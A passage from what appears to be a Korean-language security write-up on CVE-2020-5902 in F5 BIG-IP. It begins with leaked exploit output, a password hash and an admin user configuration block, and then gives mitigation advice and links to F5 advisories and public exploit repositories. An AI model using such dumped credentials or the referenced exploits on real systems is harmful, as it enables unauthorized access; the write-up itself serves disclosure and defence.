$6$NrcclyHd$bOsfvQb75GrwujNy81cQ0JYKLBFmPT27Uul4nJTK2\/Q1Y87Im990.PO1OFuSF0.MZmFPCNECR83hmWjgNpg9u0\n partition Common\n partition-access {\n all-partitions {\n role admin\n }\n }\n shell none\n}\n"} 보완 대책F5의 보안 권고를 참고하시기 바랍니다.다만, 취약한 엔드포인트로 접근을 막더라도 인증된 사용자는 여전히 접근하여 명령 실행이 가능한 관계로, 관리 계정의 패스워드 강화 등의 조치가 필요할 것 같습니다.참고 문헌https://www.tenable.com/blog/cve-2020-5902-critical-vulnerability-in-f5-big-ip-traffic-management-user-interface-tmuihttps://support.f5.com/csp/article/K52145254https://github.com/yassineaboukir/CVE-2020-5902https://github.com/jas502n/CVE-2020-5902
 2020-07-07 08:50 KST      4302